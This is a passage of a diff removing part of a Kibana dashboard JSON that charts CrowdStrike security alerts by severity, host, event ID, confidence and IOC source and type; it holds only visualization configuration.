-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "axisTitlesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "fittingFunction": "None",
-                                "gridlinesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "labelsOrientation": {
-                                    "x": 0,
-                                    "yLeft": 0,
-                                    "yRight": 0
-                                },
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "1b066652-7743-4ca9-aea2-579f2a9ddd34"
-                                        ],
-                                        "layerId": "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
-                                        "layerType": "data",
-                                        "seriesType": "bar_stacked",
-                                        "xAccessor": "fe77febc-cfff-4f08-8c45-2d88cce7d7e8"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": false
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "tickLabelsVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "aaa3ce74-8cbd-4e77-837e-cdbd42494339",
-                    "w": 24,
-                    "x": 24,
-                    "y": 16
-                },
-                "panelIndex": "aaa3ce74-8cbd-4e77-837e-cdbd42494339",
-                "title": "Alert over Device [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "9040575b-9449-4f08-98ae-116d26ebf28d",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "3a2c2235-1a9e-4db6-ac43-2f05c6775021": {
-                                            "columnOrder": [
-                                                "3adbc15a-2906-40ff-9ea6-9eef981ea411",
-                                                "342509c6-75f8-409a-81eb-7d0cd1f6af5b"
-                                            ],
-                                            "columns": {
-                                                "342509c6-75f8-409a-81eb-7d0cd1f6af5b": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "3adbc15a-2906-40ff-9ea6-9eef981ea411": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": true,
-                                                    "label": "Event Severity",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "342509c6-75f8-409a-81eb-7d0cd1f6af5b",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.severity"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "9040575b-9449-4f08-98ae-116d26ebf28d",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "3a2c2235-1a9e-4db6-ac43-2f05c6775021",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "342509c6-75f8-409a-81eb-7d0cd1f6af5b"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "3adbc15a-2906-40ff-9ea6-9eef981ea411"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "14405add-afa0-4e3f-9efd-1f52fad51027",
-                    "w": 24,
-                    "x": 0,
-                    "y": 31
-                },
-                "panelIndex": "14405add-afa0-4e3f-9efd-1f52fad51027",
-                "title": "Alert by Severity [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "7f2f6ede-7728-4214-a79c-27931101ec10",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "a6424e3b-fc6e-460e-8385-5a410a690d34": {
-                                            "columnOrder": [
-                                                "1aa38945-d8a3-4137-b91d-ca2b6f9b140a",
-                                                "40dcaef5-e4f3-47e9-8e51-748b882f17e1"
-                                            ],
-                                            "columns": {
-                                                "1aa38945-d8a3-4137-b91d-ca2b6f9b140a": {
-                                                    "customLabel": true,
-                                                    "dataType": "ip",
-                                                    "isBucketed": true,
-                                                    "label": "Host IP",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "40dcaef5-e4f3-47e9-8e51-748b882f17e1",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.ip"
-                                                },
-                                                "40dcaef5-e4f3-47e9-8e51-748b882f17e1": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "7f2f6ede-7728-4214-a79c-27931101ec10",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "40dcaef5-e4f3-47e9-8e51-748b882f17e1"
-                                        ],
-                                        "layerId": "a6424e3b-fc6e-460e-8385-5a410a690d34",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_stacked",
-                                        "showGridlines": false,
-                                        "xAccessor": "1aa38945-d8a3-4137-b91d-ca2b6f9b140a"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": false
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4",
-                    "w": 24,
-                    "x": 24,
-                    "y": 31
-                },
-                "panelIndex": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4",
-                "title": "Alert over Host IP [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "e83ee069-a761-49ed-878d-c9972e55a388": {
-                                            "columnOrder": [
-                                                "910bf38d-80f2-4783-9e71-d8bb53f06700",
-                                                "0465e312-67ef-4386-941e-55db68a8b075"
-                                            ],
-                                            "columns": {
-                                                "0465e312-67ef-4386-941e-55db68a8b075": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "910bf38d-80f2-4783-9e71-d8bb53f06700": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Hostname",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "0465e312-67ef-4386-941e-55db68a8b075",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.hostname"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "0465e312-67ef-4386-941e-55db68a8b075"
-                                        ],
-                                        "layerId": "e83ee069-a761-49ed-878d-c9972e55a388",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_stacked",
-                                        "showGridlines": false,
-                                        "xAccessor": "910bf38d-80f2-4783-9e71-d8bb53f06700"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right"
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "69f87d85-d0f2-4fb3-9e02-e970098547db",
-                    "w": 24,
-                    "x": 0,
-                    "y": 46
-                },
-                "panelIndex": "69f87d85-d0f2-4fb3-9e02-e970098547db",
-                "title": "Alert over Hostname [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "4e7a254a-d432-4988-a5cb-3de38f841cc9": {
-                                            "columnOrder": [
-                                                "91fec88d-308d-4dbd-a1a9-241d26c4f894",
-                                                "fed2b0eb-a506-462a-af98-71f79762262e",
-                                                "18a23919-ca9b-4787-8eb1-b6fac3faa5b6"
-                                            ],
-                                            "columns": {
-                                                "18a23919-ca9b-4787-8eb1-b6fac3faa5b6": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "91fec88d-308d-4dbd-a1a9-241d26c4f894": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Event ID",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "18a23919-ca9b-4787-8eb1-b6fac3faa5b6",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.id"
-                                                },
-                                                "fed2b0eb-a506-462a-af98-71f79762262e": {
-                                                    "customLabel": true,
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "Timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "dropPartials": false,
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "18a23919-ca9b-4787-8eb1-b6fac3faa5b6"
-                                        ],
-                                        "layerId": "4e7a254a-d432-4988-a5cb-3de38f841cc9",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "line",
-                                        "showGridlines": false,
-                                        "splitAccessor": "91fec88d-308d-4dbd-a1a9-241d26c4f894",
-                                        "xAccessor": "fed2b0eb-a506-462a-af98-71f79762262e"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": true
-                                },
-                                "preferredSeriesType": "line",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide",
-                                "valuesInLegend": true
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "940c98f0-56e7-4e29-88d2-07f160f579cb",
-                    "w": 24,
-                    "x": 24,
-                    "y": 46
-                },
-                "panelIndex": "940c98f0-56e7-4e29-88d2-07f160f579cb",
-                "title": "Alert over Timestamp [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "bbcb4d86-6890-474c-9975-f1476711cfad",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "a278b2d5-076e-409c-b9ca-2da50d6d0a09": {
-                                            "columnOrder": [
-                                                "5e0dee9c-395c-42a3-827b-9b796ecdd625",
-                                                "0d2426f2-1b70-47e2-84b2-5f36d948dc98"
-                                            ],
-                                            "columns": {
-                                                "0d2426f2-1b70-47e2-84b2-5f36d948dc98": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "5e0dee9c-395c-42a3-827b-9b796ecdd625": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": true,
-                                                    "label": "Confidence",
-                                                    "operationType": "range",
-                                                    "params": {
-                                                        "includeEmptyRows": false,
-                                                        "maxBars": "auto",
-                                                        "ranges": [
-                                                            {
-                                                                "from": 0,
-                                                                "label": "",
-                                                                "to": 1000
-                                                            }
-                                                        ],
-                                                        "type": "histogram"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "crowdstrike.alert.confidence"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "bbcb4d86-6890-474c-9975-f1476711cfad",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "axisTitlesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "fittingFunction": "None",
-                                "gridlinesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "labelsOrientation": {
-                                    "x": 0,
-                                    "yLeft": 0,
-                                    "yRight": 0
-                                },
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "0d2426f2-1b70-47e2-84b2-5f36d948dc98"
-                                        ],
-                                        "layerId": "a278b2d5-076e-409c-b9ca-2da50d6d0a09",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_horizontal",
-                                        "showGridlines": false,
-                                        "xAccessor": "5e0dee9c-395c-42a3-827b-9b796ecdd625"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": false
-                                },
-                                "preferredSeriesType": "bar_horizontal",
-                                "tickLabelsVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "valueLabels": "hide",
-                                "valuesInLegend": false
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "9af8495e-c5fb-4fee-ae54-1fffa46a4401",
-                    "w": 48,
-                    "x": 0,
-                    "y": 61
-                },
-                "panelIndex": "9af8495e-c5fb-4fee-ae54-1fffa46a4401",
-                "title": "Alert over Confidence [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "d64a8cc0-006e-4e06-9e75-e32cf447cf41": {
-                                            "columnOrder": [
-                                                "2cfe208a-17dc-40b1-91b1-820d4f4baa63",
-                                                "8c9420d4-4191-4b95-855b-edd55995e92a"
-                                            ],
-                                            "columns": {
-                                                "2cfe208a-17dc-40b1-91b1-820d4f4baa63": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "IOC Source",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "8c9420d4-4191-4b95-855b-edd55995e92a",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.alert.ioc_source"
-                                                },
-                                                "8c9420d4-4191-4b95-855b-edd55995e92a": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Records",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "layerId": "d64a8cc0-006e-4e06-9e75-e32cf447cf41",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "8c9420d4-4191-4b95-855b-edd55995e92a"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2cfe208a-17dc-40b1-91b1-820d4f4baa63"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "e69a2e95-217d-43d5-acae-811245c3e308",
-                    "w": 24,
-                    "x": 0,
-                    "y": 78
-                },
-                "panelIndex": "e69a2e95-217d-43d5-acae-811245c3e308",
-                "title": "Alert by IOC Source [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "3d13796e-f0f8-45e1-b836-ad209d6cb1ba": {
-                                            "columnOrder": [
-                                                "427c4b9a-30ad-4f4a-a195-3b63686d3e56",
-                                                "98fd36cc-8ad0-42f1-a08a-8709150d1099"
-                                            ],
-                                            "columns": {
-                                                "427c4b9a-30ad-4f4a-a195-3b63686d3e56": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "IOC Type",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "98fd36cc-8ad0-42f1-a08a-8709150d1099",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.alert.ioc_type"
-                                                },
-                                                "98fd36cc-8ad0-42f1-a08a-8709150d1099": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Records",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "layerId": "3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "98fd36cc-8ad0-42f1-a08a-8709150d1099"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "427c4b9a-30ad-4f4a-a195-3b63686d3e56"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "53575ba2-1378-4f8a-990d-2c5c603ea0a2",
-                    "w": 24,
-                    "x": 24,
-                    "y": 78
-                },
-                "panelIndex": "53575ba2-1378-4f8a-990d-2c5c603ea0a2",
-                "title": "Alert by IOC Type [Logs CrowdStrike]",
